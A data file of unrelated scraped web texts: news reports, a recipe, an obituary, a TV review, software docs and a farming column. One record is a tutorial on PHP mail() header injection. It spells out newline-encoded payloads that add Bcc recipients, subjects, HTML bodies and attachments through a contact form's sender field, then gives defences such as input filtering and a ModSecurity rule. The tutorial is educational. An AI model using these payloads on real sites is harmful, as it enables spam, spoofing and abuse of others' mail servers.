text:
By Aukkarapon Niyomyat and Amy Sawitta Lefevre
BANGKOK (Reuters) - Thai police fired tear gas at stone-throwing demonstrators and made dozens of arrests on Saturday as thousands demanded the overthrow of Prime Minister Yingluck Shinawatra in the biggest street protest yet against her 16-month-old government.
Protesters from the royalist Pitak Siam group, led by retired military general Boonlert Kaewprasit, repeatedly tried to breach police lines in the Thai capital and rammed a six-wheel truck into a security barrier but were held back.
They accused Yingluck's government of corruption, being a puppet of former premier Thaksin Shinawatra, Yingluck's brother, and of disloyalty to Thailand's monarchy. Many were members of a yellow-shirt protest movement that helped trigger a coup by royalist generals in 2006 that toppled Thaksin.
"If I can't overthrow this government, I am prepared to die," Boonlert told supporters. He made a plea for "soldiers to come and protect us" shortly before ending the protest as torrential rain fell in early evening.
The clashes revived memories of a tumultuous 2008, when yellow-shirted protesters seized government offices, fought street battles with police, and occupied Bangkok's main airports for eight days. Amid that turbulence, two pro-Thaksin prime ministers were forced to resign by the courts.
Yingluck won a 2011 election by a landslide on support from the rural and urban poor. Her supporters, who wear red shirts at protests, held mass street rallies in 2010 against a military-backed Democrat-led government. Those demonstrations ended with a bloody army crackdown in which 91 people were killed.
"Our biggest concern is if Pitak Siam decides to escalate their rally or protesters move into key government buildings including parliament," said Piya Uthayo, a national police spokesman.
Pitak Siam, or Defend Siam — an old name for Thailand -- taps many of the same supporters who backed the yellow shirts: the traditional Bangkok elite that includes generals, royal advisers, middle-class bureaucrats and old-money families.
Saturday's rally follows a visit to Thailand by U.S. President Barack Obama -- part of a three-country tour of Asia -- during which he praised Yingluck, calling her a "democratically-elected Prime Minister who is committed to democracy."
Thaksin, a billionaire former telecoms tycoon, remains a divisive figure, revered by the rural poor and reviled by Bangkok's elite. He fled Thailand in 2008 and was convicted in absentia of abuse of power -- charges he says were politically motivated. He now lives in Dubai but remains influential.
The confrontation started in the morning when about 500 protesters tried to breach police barricades at Saphan Makawan Bridge and the Misakawan intersection to make their way to a large plaza where about 15,000 protesters gathered. They ignored police who told them to pass through a designated entry point.
At least 42 people were wounded, including seven police, according to the Erawan Medical Center which monitors Bangkok hospitals. Up to 132 protesters were arrested, police said. Knives and bullets were seized from some protesters, they added.
Authorities deployed 17,000 police at the rally site after the government invoked the Internal Security Act allowing police to detain protesters and carry out security checks and set up roadblocks.
The protest highlights tensions that have been simmering since Yingluck's Puea Thai party swept to victory in July 2011.
"The use of tear gas is a bad omen and conjures images of the 2008 anti-government protesters who forced their way into government house and parliament," said Thitinan Pongsudhirak, a political analyst at Chulalongkorn University in Bangkok.
Protesters held signs with pictures of Yingluck including one bearing the caption "PM=Puppet Moron" as others waved yellow flags associated with the royal family.
"I'm telling Thaksin that if he wants to return to Thailand, he needs to bow before the king and serve his prison sentence," Boonlert told the demonstrators. "The world will see this corrupted and cruel government. The world can see the government under a puppet."
Thailand has seen a series of protests since 2006 with pro-Thaksin and anti-Thaksin groups taking turns to challenge various administrations' right to rule.
(Editing by Jason Szep and Sanjeev Miglani)


text:
The PHP There are a lot of ways to send anonymous emails, some use it to mass mail, some use it to spoof identity, and some (a few) use it to send email anonymously. Usually a web mailform using the mail() function generates emails containing headers with the originating IP of the server it's running on. Therefore the mailform acts as a SMTP proxy. The input fields of the form may vary, but it is common to specify a mailform that gives you control over the subject, the message, and the sender's email address.
mail() Function
Function usage:
mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]); (mail())
Extra params are not commonly fed from user input, so we'll skip this part. Most webmasters carefully hardcode the recipient's email address into the contact form of their web application. You might think this eliminates the way this kind of script could be exploited. But, you would be be wrong!
Example 1Here's an example of code we'll base our analysis on:
<?php $to="email@example.com"; if (!isset($_POST["send"])) { // no post data -> display form ?> <form method="POST" action="<?=$_SERVER['PHP_SELF'];?>"> To: firstname.lastname@example.com From: <input type="text" name="sender"> Subject: <input type="text" name="subject"> Message: <textarea name="message" rows="10" cols="60" lines="20"></textarea> <input type="submit" name="send" value="Send"> </form> <? } else { // found post data .. deal with it $from=$_POST['sender']; // send mail if (mail($to, $_POST['subject'],$_POST['message'],"From: $from\n")){ // display confirmation message if mail sent successfully echo "Your mail was indeed sent to $to."; } else { // sending failed, display error message echo "Doh! Your mail could not be sent."; } } ?>When looking at the HTML form or at the code, it seems obvious one cannot choose the recipient email address as it is hardcoded in the script. However, it is possible to choose the subject, the message, and the sender's email address (
From: header). The PHP mail() function roughly works as follows:
<?php mail($recipient,$subject,$message,$headers); ?>And will produce the following raw output:
To: $recipient Subject: $subject $headers $messageWhen calling the function like this:
<?php mail("firstname.lastname@example.com","Hello","Hi,\nYour site is great.\nBye","From: firstname.lastname@example.com\n"); ?>The raw output data will look like this:
To: email@example.com Subject: Hello From: firstname.lastname@example.com Hi, Your site is great. ByeThe PHP code for the mailform provided earlier shows that the most interesting part the user can choose to feed in the form is the sender email address, because it is directly displayed inside the headers. In this example it is possible to modify or add other headers than the
From: using this form. Of course the
To and
Subject fields could also be used to inject some data but the
mail() function and the RFC specifications would filter any content given to those fields to prevent it from being abused.
What's the use of injecting email headers?In this context, the target is to be able to send anonymous emails to other recipients. There are numerous additional fields that can be specified in the mail headers (see RFC 822). For example
Cc (Carbon Copy), which sends a copy of the message to the email addresses given as arguments. A better choice is to use the
Bcc (Blind Carbon Copy) which sends a carbon copy of the message just like with the
Cc header, except that the recipiends email addresses given as arguments are not shown to the multiple recipients' headers. As specified in RFC 822, you must add a line feed for every header. The
LF (line feed) char has a hexadecimal value of
By providing the following values to the example script of this article:
Sender: firstname.lastname@example.com%0ACc:email@example.com%0ABcc:firstname.lastname@example.com,email@example.com Subject: ahem Message: My Message...The email's raw data will look like this:
To: email@example.com Subject: ahem From: email@example.com Cc:firstname.lastname@example.com Bcc:firstname.lastname@example.com,firstname.lastname@example.com My Message...The mail headers were injected successfully! Despite the fact that the only header value take from the HTML form is
From:, the resulting email has been sent to three people of our choice:
firstname.lastname@example.com and
In the last example, both
Cc and
Bcc headers have been used to perform the injection. It would also have been possible to use the
To header, the last value is added (just like in the
Cc and
Bcc fields) to the hardcoded email address of the webmaster.
Example 2Let's keep the same value for subject and message, and give the following value to the sender
email@example.com%0ATo:email@example.com. The mail output is:
To: firstname.lastname@example.com Subject: Hum From: firstname.lastname@example.com To:email@example.com My Message...Repeating the
To header won't be a problem, the mail will be sent to
firstname.lastname@example.com AND
Now for something completely evil...Let's consider spam.
Many sites provide the possibility to "email this page to a friend" through a web form, the resulting email softly suggests to "visit our website" on behalf of the user that filled in the form with his personal email address, and the email address of the friend he wants the page to be emailed to.
<?php $subject="Visit our site www.website.xxx !"; $message="Hello,\nA friend thought you might want to see this page : www.website.xxx.\nBye Bye."; if (!isset($_POST["send"])){ // no post data, display form ?> <form method="POST" action="<?=$_SERVER['PHP_SELF'];?>"> To: <input type="text" name="recipient"> From: <input type="text" name="sender"> <input type="submit" name="send" value="Send"> </form> <?php } else { // found post data $from=$_POST['sender']; $to=$_POST['recipient']; // send mail : if (mail($to,$subject,$message,"From: $from\n")){ // success echo "Mail sent successfully to $to."; } else { // failure echo "Doh ! Sending failed."; } } ?>Even though the subject and the message are hardcoded, there is still a way to inject headers (we already know how to add recipients). As covered earlier in this article, we saw that the
To header can be sent twice, the
Subject header is not an exception to this rule, and so it is for numerous other headers. By providing a recipient address of
firstname.lastname@example.com and a sender address of
firstname.lastname@example.com%0ASubject:My%20Anonymous%20Subject the email body will look like this:
To: firstname.lastname@example.com Subject: Visit our site www.website.xxx ! From: email@example.com Subject: My Anonymous Subject Hello, A friend thought you might want to see this page : www.website.xxx. Bye ByeThe subject "My Anonymous Subject" will be added to "Visit our site www.website.xxx!", and in some cases will replace it (depending on the mail services, SMTP relays, mail client, etc). For example Hotmail displays the added subject inside the message.
Let's see now how to alter the message body. The difference between the body and the headers is that the body cannot be identified by its name (
To, etc); there is no such
Message header existing in the RFC 822. And that's exactly how we will alter this part of the mail, a
LF; with no header name means that the message body started. So, instead of specifying a
LF and a header name, we will just add a
LF and give our message.
As both
To and
Subject headers are already defined, the resulting output will contain both the older message and the injected message, except that instead of being appended, it will be prepended. Say we provide the sender
email@example.com%0A%0AMy%20New%20%0AAnonymous%20Message. Then the email will look like this:
To: firstname.lastname@example.com Subject: Visit our site www.website.xxx! From: email@example.com My New Anonymous Message. Hello, A friend thought you might want to see this page: www.website.xxx. Bye ByeWe can clearly see the that the new message:
My New Anonymous Messageis prepended to the old message:
Hello, A friend thought you might want to see this page: www.website.xxx. Bye Byeto finally give this message:
My New Anonymous Message Hello, A friend thought you might want to see this page: www.website.xxx. Bye ByeThere are more headers than
Subject and
From but this article will not cover all of them as they are not especially helpful for this article. However, the
Content-Type header can be very useful. It has a default value set of
It is possible to re-define this header as
, and then provide some HTML content to the message by giving this value to the sender's email address
The email will look like:
To: firstname.lastname@example.com Subject: Visit our site www.website.xxx ! From: email@example.com Content-Type:text/html My New <u>HTML Anonymous Message.</u> Hello, A friend thought you might want to see this page : www.website.xxx. Bye ByeWhen displayed, this email will have the text "HTML Anonymous Message" underlined.
mail() function respects the MIME encoding. By knowing this, the header
Content-Type can be used in different ways for injection purposes. The MIME encoding (Multipurpose Internet Mail Extensions) can be used, in addition to send HTML mails, to attach files (sound, image, txt, etc).
The fact is that the header
Content-Type can be re-defined as
multipart/mixed (or
multipart/alternative or
multipart/related), even though it was already defined previously.
The injection possibility for this header is that the "multipart/mixed" can help us to separate the mail in several parts.
Here's an example in MIME format, with one recipient part:
To: email@example.com Subject: Good Luck From: email@example.com Content-Type: multipart/mixed; boundary="MyBoundary"; Hidden Text1 --MyBoundary Content-Type: plain/text; Good Luck for you work, bye --MyBoundary-- Hidden Text2First we see the header
Subject and
From then the
Content-Type defined as
multipart/mixed, then the "boundary" line which value is
MyBoundary. This boundary stuff is used as a separator (see RFC 822 for detailed info) inside the message. It is also used to set the beginning/end of the first/last part (
--[THE BOUNDARY]). Note: "[THE BOUNDARY] can be replaced by any (US/ASCII [:alnum:]) value. Then we see a line "Hidden Text1". This text will not be visible to the recipient, because it is located before the first boundary declaration. Then we see the
--MyBoundary line, announcing the beginning of the first message, and then, just after the
Content-Type header (which will define the content type of this specific message part), some simple text. Then we see the message, and the line
--MyBoundary--, announcing the end of the email, and consequently having the last part "Hidden Text2" hidden to most web clients.
Now the originating message and subject, both hardcoded in php, are ignored. So by providing the sender value
We get:
To: email@example.com Subject: Visit www.website.xxx! From: firstname.lastname@example.com Content-Type:multipart/mixed; boundary=frog; --frog Content-Type:text/html My Message. --frog-- Hello, A friend thought you might want to see this page : www.website.xxx. Bye ByeAnd the message received by "email@example.com" is an HTML message containing "My Message." The hard coded advertisement message (below) is NOT displayed:
Hello, A friend thought you might want to see this page : www.website.xxx. Bye ByeNote: boundary is sent with no quotes this time, just to show it applies even if magic_quotes_gpc=ON.
This method is applicable in different context. Imagine a script where
sender can be specified and where some other field (like first name, last name, age, etc) is echoed in the message body once the form is submitted. In that case it is possible to get the same results (choose exactly what message the receipt will see) by providing
email@example.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A in the
sender header and
%0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog-- to the optional field (e.g nickname). The resulting mail will look like:
To: email@example.com Subject: Visit www.website.xxx ! From: email@example.com Content-Type:multipart/mixed; boundary=frog; Hello, A friend called --frog Content-Type:text/html My Message. --frog-- thought you might want to see this page : www.website.xxx. Bye ByeAs you can see, the hard coded message has been split in two. The value of the optional field (nickname) has been replaced by the injected message, and whatever is after the inserted text will NOT be shown in the mail client.
Example 3Now a last example, compiling all possibilities seen in this article, and more. Provide this value as the sender:
email@example.com%0ASubject:Ooops%0ABcc:firstname.lastname@example.com%0AContent-Type:multipart/mixed;%20boundary=frog; %0A--frog%0AContent-Type:text/html%0A%0AHTML%20Message.%0A%0A--frog%0AContent-Type:text/html; name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0AHTML%20File %0A%0A--frog--%0AThe resulting email will be:
To: email@example.com Subject: Visit www.website.xxx ! From: email@example.com Subject: Mwahahaha Bcc: firstname.lastname@example.com Content-Type: multipart/mixed; boundary=frog; --frog Content-Type: text/html HTML Message. --frog-- Content-Type: text/html;name=Nastycode.html; Content-Transfer-Encoding: 8bit Content-Disposition: attachment HTML File --frog-- Hello, A friend thought you might want to see this page : www.website.xxx. Bye ByeSo, the sender is "firstname.lastname@example.com", the subject is "Visit www.website.xxx ! Oooops", the email will be received by "email@example.com", and a carbon copy will be sent to "email@example.com". The email content will be HTML:
HTML Message. a file named "Nastycode.html" with content type "text/html" will be attached to the email: HTML File
<panic>Now that the problem has been described, enjoy some scheduled panic time.
</panic> (Solutions)And now that you've stopped panicking, here are several ways to combat email injection.
RegexThe first rule (the golden rule) is to always filter and validate user data. One possibility is to use regular expressions or string functions:
<?php $from = $_POST["sender"]; if (eregi("(\r|\n)", $from)) { die("Why ?? :("); } ?>We can see in the above script that any occurrence of
\r or
\n will make it die().
\n is equal to
LF (line feed or
%0A in hexadecimal), and
\r is equal to
CR (carriage return or
%0D in hexadecimal).
Zend_MailYou can use the Zend_Mail component as your mail sender class. It provides protection to this problem by default, no action is required from the programmer.
PEAR MailThe PEAR Mail class provides protection against this problem since version 1.1.13.
Swift MailerSwift Mailer class is not vulnerable to this attack.
SuhosinThe Suhosin PHP extension provides the suhosin.mail.protect ini directive, with 3 different levels of protection.
ModSecurityModSecurity can put a stop to email injection on the server level.
With ModSecurity it is possible to scan the POST or GET body for
Cc, or
To and reject any request that contains those letters. To protect against main injection, add the below rule to your modsecurity setup:
SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@"However, there are plenty of legitmate reasons to use the word "to" in an email and blacklists are never complete. Whitelisting is always a better option. gotroot.com is a great source for ModSecurity rules. It is a good idea to use their rules and configuration to protect users against other PHP exploits. Any virtual host having issues with ModSecurity can have it disabled by adding the below setting to the VirtualHost container:
<IfModule mod_security.c> SecFilterEngine Off </IfModule>
In Conclusion...Two points to remember when watching injections:
- Any existing data located *after* the injection point can be replaced.
- Any data to be added will always be located *after* the injection point (e.g.
mail() function are cleaned, when using Emacs, the
Fcc header is also protected from injections. This
Fcc field contains the name of one file and directs Emacs to append a copy of the message to that file when you send the message. Although this works on Emacs, it is not possible with the PHP
mail() function.
And remember, there are other related exploit possibilities that are not discussed in this article. Security requires research and vigilance.

subset: commoncrawl


text:
Stitch Markers can be used for for multiple reasons. A few of them include marking the beginning of a round or pattern repeat, mark decreases, increases or even mistakes.You can also view all Knitter's Pride MIO Stitch Marker Rings.
We provide endless possibilities for you including yarn, knitting gifts, needles, kits, sale yarn, free knitting patterns, and more!Jimmy Beans Wool is Your Local Yarn Store... Online!


text:
Illinois Gun Background Checks Jump
CHAMPAIGN, Ill. (AP) _ Background checks conducted ahead of gun
sales in Illinois have almost doubled since Friday's school
shootings in Connecticut.
Illinois State Police information provided to The Associated
Press shows that 12,557 checks were conducted through the state's
Firearms Transfer Inquiry Program between Friday and Tuesday. There
were 6,870 checks during the same period a year earlier.
Gun sellers like John Thurman say guns are being bought for both
protection and out of concern that further restrictions on firearm
ownership are ahead after the shootings in Newtown, Conn., left 28
people dead. Thurman owns Bullet Express in Auburn in central
Another factor possibly contributing to gun sales in Illinois is
the Dec. 11 court decision striking down the state's ban on
concealed weapons.
(Copyright 2012 by The Associated Press. All Rights Reserved.)


text:
Jessica's "Planned" Leftover Burritos Quick Weeknight Meals Recipe Contest 2009
Recipe: "Planned" Leftover Burritos
How long does it take? 10 min prep, 20 min cook
Category: Omnivore
Name: Jessica
Why is it a favorite meal? I can change it based on my mood, what I have on hand, and who is eating it.
"Planned" Leftover Burritos
This is a "planned" leftover burrito because I usually have some sort of meat - roasted chicken, steak, fish, etc. - that I need to have a way to finish off, so I build it into my planning. You can substitute a rotisserie chicken or any other meat, use canned beans if you don't keep a pot of beans in the fridge as we do, leave the meat out entirely, or substitute brown rice to up the nutrition quotient.
2 tbsp olive oil
1 lb leftover meat - here I use chicken I roasted yesterday
1/2 cup chopped or grated fresh onion
Taco Seasoning:
1/4 tbsp chili powder (for mild seasoning - increase if you like it hotter)
1 tsp garlic salt
1/2 tsp kosher salt
1/4 tsp onion powder
1/4 tsp crushed red pepper
1/4 tsp dried oregano
1/2 tsp paprika
1-1/2 tsp ground cumin
1/4 tsp ground black pepper
1 - 2 cups pre-cooked (or canned) beans
1 cup rice
Flour tortillas (or whole wheat, etc.)
Tomatoes, Avocados and other veggies as you like
1 cup grated cheese of choice - I used Colby Jack
1. Start water for rice while you measure spices for the taco seasoning and shred the chicken.
2. Heat skillet and add olive oil. Heat chicken until warmed through then cover in taco seasoning. In the meantime, you'll have started your rice.
3. Add 1/2 cup of water and bring to a boil, stirring to evenily coat the chicken. Remove chicken from skillet.
4. Add onion to pan until it begins to turn golden. Add beans and cook until warm.
5. Chop the tomato, avocado and any other vegetables you want to add, and grate the cheese.
6. Fill burrito with chicken, beans & rice, cheese & vegetables and toast in dry warm pan to seal. Add cheese and garnish with sour cream.
Thanks, and good luck! Readers, give a thumbs up if you like this recipe!
Enter our Quick Weeknight Meals Contest!
You could win some fabulous prizes and we'll all collect some great new recipes.


text:
Hugin Preview window
hugin provides a pop-up window showing a preview of the final stitched result. This is a smaller version of the output created by saving to a file in the hugin Stitcher tab with some differences:
- Reduced resolution input images are used, so some areas can appear blurred that will be sharp in the final output.
- Seams are not created, images are simply overlaid with the first image at the bottom of the stack and the last at the top.
- Blending by a tool such as enblend isn't shown.
- The brightness display of HDR and 16bit images is controlled by settings in the hugin Preferences, these settings are not used when stitching.
This button horizontally pans the output, changing the yaw of the remapped images so they fit to the centre of the output frame. This is useful if there is a lot of black space on the left or right of the output. This also performs a Fit, equivalent to the next button.
Note that centering a Rectilinear Projection or Fisheye Projection panorama will change the perspective, this may be unwanted.
This doesn't change any input image parameters, it just readjusts the output Field of View such that all the input images are visible. If the images are all off-centre, then there will be a lot of black space.
Straightening the panorama optimises the roll and pitch of the input images, levelling the panorama in the process. This normally produces good results, if you need more accurate positioning, try adding vertical control points in the hugin Control Points tab.


text:
Wayne Norval Burki, age 86, passed away Wednesday, March 20, 2013, at his home in Lone Grove. Services will be at 2 p.m. Saturday, March 23, 2013, in The Chapel at Griffin ~ Hillcrest Funeral Home with Pastor Morgan Ashworth officiating. Interment will follow in Newport Cemetery, Carter County, Oklahoma.
Wayne was born January 17, 1927, in Blunt, S.D., to Albert and Sarah Burki. He married Marjorie Heitland on September 24, 1950, in Wolsey, S.D.
Wayne attended school in Blunt, S.D, Harrold, S.D., and Highmore, S.D. He was a rancher until going into law enforcement working for the South Dakota Highway Patrol until retirement. He moved to Lone Grove, Okla., in 1980 where he worked for the Lone Grove Water Department until his second retirement. Wayne was an avid horseman, riding in the rodeos riding bulls, race horses and team roping. He was also a Boy Scout Leader and belonged to the NRA. Wayne loved to hunt, fish, carpentry and all kinds of woodworking. He was a member of the First Methodist Church in Lone Grove.
Wayne was preceded in death by his parents; his wife, Marjorie; one granddaughter, Stacy; and sister, Elaine.
He is survived by his sons, David Burki and wife, Ardith of the home, Donald Burki, Tom Burki and wife, Sandy, all of Lone Grove; a daughter, Elaine Feltman of Hot Springs, Ark.; nine grandchildren; 12 great-grandchildren; and one sister, Lois Hart of Harrold, S.D.
Serving as pallbearers will be Scott Case, Matt Sanders, Clint Feltman, Travis Burki, Jeff Feltman and Brock Feltman.
Family visitation will be from 6 until 8 this evening at Griffin ~ Hillcrest Funeral Home, Ardmore.
Condolences may be left at www.Griffin-HillcrestFH.com.


text:
In what's now been dubbed the "Stansbury High Homecoming Spirit Massacre," dozens of girls were turned away from their high school's Homecoming dance in Tooele, Utah. A vague modesty guideline, that the hem of all skirts must be "at or around the knee," caused confusion, leading chaperones to refuse admission to any girl they deemed immodest. The principal, Kendall Topham, has since apologized: "I did give an apology. I feel like the error occurred because, with our dress standard for our formal dresses, there is some ambiguity, there is some things in question," he said.
Plus: Girl Elected to Homecoming Court…as a Cruel Joke
Several protests have been launched, including a Facebook page, which has received more than 4,500 likes. According to one source, one student's date was turned away, so the whole group of students they came with left the dance, circled their cars in the parking lot and all turned on the same radio station so they could still have a makeshift Homecoming dance. Stansbury High has agreed to host a second Homecoming dance, free of charge, so everyone gets a chance to attend.
What do you think? Is "at or around the knee" too modest for high-schoolers? Have you set dress standards for your kids? Leave a comment.


text:
Chuck: Season One (US - BD)
Gabe has a set of 'handlers' too, but for entirely different reasons than Chuck...
On the night of his birthday, Chuck Bartowski (Zachary Levi), the boss 'Nerd Herder' at the BuyMore, receives an email from a friend he hasn't talked to since college. After innocently opening the application, Chuck finds himself unwittingly downloading stolen government secrets into his brain. Now that the original files have been destroyed, Chuck's brain is the only place the CIA and FBI can find this information. The government takes action, and assigns the unassuming geek two body guards: a hard core army man (Adam Baldwin), who poses as an underling at the BuyMore, and a beautiful woman (Yvonne Strahovski), who poses as Chuck's girlfriend.
Chuck could be a disaster in lesser hands, because the general characterizations are so arch, and the narrative conflicts are on the whole so predictable. Fortunately the arch and predictability is in very good hands. The writers handle their characters with deep passion, and the actors are sharp as diamonds, so the big ideas are raked over with small touches. This is an approach that only really works for TV. Single sentence set ups in movies can't be explored to the same degree as television shows for the simple sake of time. Chuck is an entertaining series right off the bat, but it takes it several episodes to hit its stride and turn into something that works beyond its means.
The easy comparison to make is to the original Get Smart, but because it's the little touches that make me like the show, I'm going to compare it to The Tick (live action and animated). Chuck isn't as much a spoof as The Tick, it has a much stronger sense of drama, but the man out of his element theme is treated in a similar manner. Basically Chuck Bartowski is a slightly more realistic version of Arthur the Mothman. From my end I actually prefer the sit-com moments of the series, which I think is saying quite a bit, because I've been told I have a very snobby sense of humour. The writers have a slight problem melding the elements of Chuck's regular life and spy life, but as the show progresses the stitches start to show a little less.
The issue is that non-miniseries television comes with a whole 'nother set of problems, the biggest one being the writers' hesitance on allowing a character to grow. I understand that allowing the characters to have full arcs robs the creators of the future opportunity, and makes the possibility of future seasons a little iffy, but I hate the traditional television writing technique of teasing resolutions for years on end. The 'will they/won't they', soap opera shenanigans, and the tired superhero keeping his identity secret themes hurt the series' otherwise entertaining flow. In a perfect world Chuck would be a beautiful single season arc with full romantic resolution, but this isn't a perfect world, and Chuck is made to make money for a studio.
Chuck season one is presented in1080p, 1.78:1 widescreen, and is very colourful. The show's creators really push the colour pallet, sometimes to a degree where the format's abilities with sharp details are lost. The bright colours do not bleed, but they are a little busy with digital noise, and not quite as solid as bright hues found on the best Blu-ray discs. The consistency of the images shifts quite a bit throughout each episode, sometimes obviously on purpose, but other times seemingly on accident. There's sometimes the sense that entirely different cameras are being used for each take. Dark sequences fair the worst as far as grain is concerned, while the scenes shot on the Buy More set (the spot where I'm guessing the filmmakers have the most control) are almost immaculate, save a few roughly blended skin tones.
This Blu-ray collection sounds great in good, old fashion Dolby Digital 5.1 surround sound. Chuck is a pretty action packed series, but it isn't very dependent on big action effects, save a few bombs and flying bullets. The majority of the surround sound aggression is devoted to the show's ample and clever soundtrack. Whoever chooses the catalogue music has a wicked sense of irony, but even the sillier choices are cut with clever intent. Mostly we're talking stereo effects, but the back channels get in on the action too. The bulk of the show takes place on sets, and when on-set the effects and dialogue are sharply mixed, but when on location the bulk of the audio is flatly delegated into the centre channel. The entire track's biggest downfall is the fault of the show's writers, who don't use actor Tony Todd's awesome baritone outside of the briefing television, robbing our powered subwoofers of a thorough bass workout.
I am so confused concerning the need for three discs in this set. Disc one holds seven full length episodes and a few extras, but discs two and three only hold three episodes and not much more in the way of extras.
Disc two features six 'Behind the Story: Chuck's World' featurettes. The featurettes, which total about fifteen minutes, concern the casting of the six main leads (Chuck, Morgan, Sarah, Casey, Ellie, and Captain Awesome), including the creators' thoughts on the characters, the actor's thoughts on the characters, behind the scenes footage of the actors goofing off, and audition tapes.
The third disc starts with 'Chuck on Chuck', a twenty-six minute round table with creators Chris Fedak and Josh Schwartz, and actors Zachary Levi and Joshua Gomez. Basically this is a video commentary for a few favourite scenes. The description calls it 'point/counterpoint', but that's pretty inaccurate. 'Chuck vs. Chuckles' is just your average blooper reel. Then, under 'Chuck's Online World' are four brief character video blogs, all of which originally debut online, running a total of five and a half minutes. All three discs feature a small collection of deleted scenes. Most of the scenes are throw-away jokes, but there are a few minor plot points throughout.
Chuck is solid, popular television entertainment, but I'm not sure how well it will stand up to repeat viewings so I'm hesitant to suggest a purchase to anyone but the series' greatest fans. If you already own the DVD release of season one you'll probably be happy hanging onto it, because the hi-def video quality is pretty average for the format, otherwise fans should be happy. Hopefully the next season release will feature some more substantial extra features, specifically a few cast commentaries.
*Note: The images on this page are not representative of the Blu-ray release.
Review by Gabriel Powers
Existing Posts
It's better than that.
This reminds me of Jake 2.0.....
every week when i watch this show i fastforward past any scenes involving morgan in the buy more, because to me they are embarrassing to watch and just plain unfunny. yet i continue to watch the show for yvonne and Adam Baldwin and now Tony Hale.
It's not that perplexing why the set has three discs. How else could they charge us for a third disc?
I really like this show. I guess a lot of that has to do with Yvonne Strahovski and Julia Ling, but hey... It does suffer a bit from the 'reset switch' phenomenon, but other than that it's good entertainment in the Reaper mould.
This product has not been rated
Disc Details
Release Date: 11th November 2008
Discs: 3
Disc Type: Blu-ray Disc
RCE: No
Video: 1080p
Aspect: 1.78:1
Anamorphic: No
Colour: Yes
Audio: Dolby Digital 5.1 English, Dolby Digital 2.0 French, Dolby Digital 2.0 German
Subtitles: English, French, Spanish, Danish, Dutch, Norwegian, and Portugues
Extras: Chuck on Chuck, Chuck's World, Chuck vs Chuckles, Chuck's Online World, Deleted Scenes
Easter Egg: No
Feature Details
Director: Various
Cast: Zachary Levi, Yvonne Strahovski, Adam Baldwin
Genre: Action and Comedy
Length: 556 minutes
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Aspiring farmers find creative ways to succeed
Not long ago, a college classmate of mine named Sarahlee Lawrence was splitting her time between raft guiding and river conservation, traveling as far as Ethiopia and Chile. But the world's water problems are huge, she says. "I was struggling to feel like I was actually making a difference."
Then she discovered a startling statistic: Food travels an average of 1,500 miles from source to plate, racking up a sizeable carbon footprint. "That was my turning point," she tells me by cellphone from her Rainshadow Organics farm, near Terrebonne in central Oregon's high desert. She grew up there, helping farm hay; returning home, she saw it as her chance to make real change.
Her folks already had some equipment and they offered her land, so she avoided going into debt. A grant helped her build a drip irrigation system. Much of her experience involved trial and error. "Have I really learned how to farm from the backs of seed packets?" she laughs. "Kind of, yeah."
Now closing her second growing season, Lawrence keeps pigs and chickens and has eight acres in vegetables and 20 in field crops like wheat; another 50 acres are slated for native pollinator habitat. She sells to 70 families through a subscription service, and to eight restaurants, two grocery stores, two farmers markets and a hospital. She's not rolling in dough, but "I have money in my bank account," she says, most of which goes back into her farm.
It's the sort of auspicious start that many aspiring farmers dream of. It's also rare, according to Amy Ridout, another classmate who found her calling in dirt and growing things. Like Lawrence, Ridout was drawn to farming for environmental reasons. She was working for a watershed group in Washington, pushing landowners to make improvements to benefit salmon habitat. "I had a moment when I realized I had no authority to talk to people who'd been on their land for multiple generations," she explains. "I really wanted to know what it meant to be a good steward so that I would have something to share."
She apprenticed at a renowned sustainable farming program in California, started a farm for a nonprofit, even attempted her own organic farm -- 12 acres near Petaluma -- but her partners pulled out. Now, she works at an educational outfit called the Pie Ranch near Pescadero, where she manages crops and animals and teaches apprentices.
These two women are part of a wave of young people determined to remake our food system. Small-scale farming is tough no matter what, and as land prices rise, fewer beginners do as well as Lawrence. Many seek help from people like Ridout. But even with the right skills, finding the necessary acres and capital can be insurmountably difficult. As Jen Langston explores in this issue's cover story, farm incubators like Viva Farms in Washington's Skagit Valley -- where newbies can rent land and have access to expensive infrastructure -- may offer some struggling foodie idealists the last crucial link to connect inspiration with operation ... and perhaps ultimately to your Thanksgiving table.
Note: the opinions expressed in this column are those of the writer and do not necessarily reflect those of High Country News, its board or staff. If you'd like to share an opinion piece of your own, please write Betsy Marston at [email protected].


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Ryan Getzlaf had a goal and an assist in the Anaheim Ducks' 3-2 win over the Columbus Blue Jackets.
Peter Holland and Corey Perry also tallied for Anaheim, which has won five in a row and nine of its last 10.
Jonas Hiller made 25 saves in the victory.
"I thought I was working hard tonight," Hiller said. "I got the bounces and everybody was sacrificing themselves. Even when we don't play our best game, we still find a way."
Vinny Prospal and Derick Brassard scored for the Blue Jackets, who have dropped three straight and six of their last seven games.
"They scored two quick goals and we came up short again. We have to find a way to score more goals," Brassard said.
Sergei Bobrovsky stopped 26 shots in defeat.
Prospal's putback on a rebound got Columbus on the board 3:30 into the game, but the Ducks answered with a pair of goals to close the opening period and added another in the third.
Two of those three tallies came on the power play.
Following a Columbus turnover on an Anaheim power play, Bobby Ryan skated down the left wing and found an open Holland, who finished with a wrister. The Ducks struck again just 21 seconds later as Getzlaf put home a rebound to give the hosts its first lead with 3:43 remaining in the first.
A little before the midway point of the third, Perry tried sending a backhanded feed across the crease, but Bobrovsky fumbled the pass attempt as it went off his glove and over the goal line for another power-play tally.
Columbus, cut it to 3-2 with less than eight minutes remaining as Brassard put home a rebound, but the Ducks hung on down the stretch.
Game Notes
Anaheim registered 14 shots in the first, just five in the second, but 10 more in the third ... The Ducks finished 2-of-3 on the man advantage.


text:
For more information about National Park Service air resources, please visit https://www.nature.nps.gov/air/.
Photos & Multimedia
National Park Service Air Quality Web Cameras
Acadia, Big Bend, Denali, Grand Canyon, Grand Teton, Great Smoky Mountains, Hawaii Volcanoes, Joshua Tree, Mammoth Cave, Mount Rainier, North Cascades, Olympic, Sequoia & Kings Canyon, Shenandoah, Theodore Roosevelt, and Yosemite National Parks; Point Reyes National Seashore; and the National Mall & Memorial Parks are part of the air quality webcam network. Current images and air quality data are displayed on park webcam pages.
Yellowstone National Park Winter Air Quality
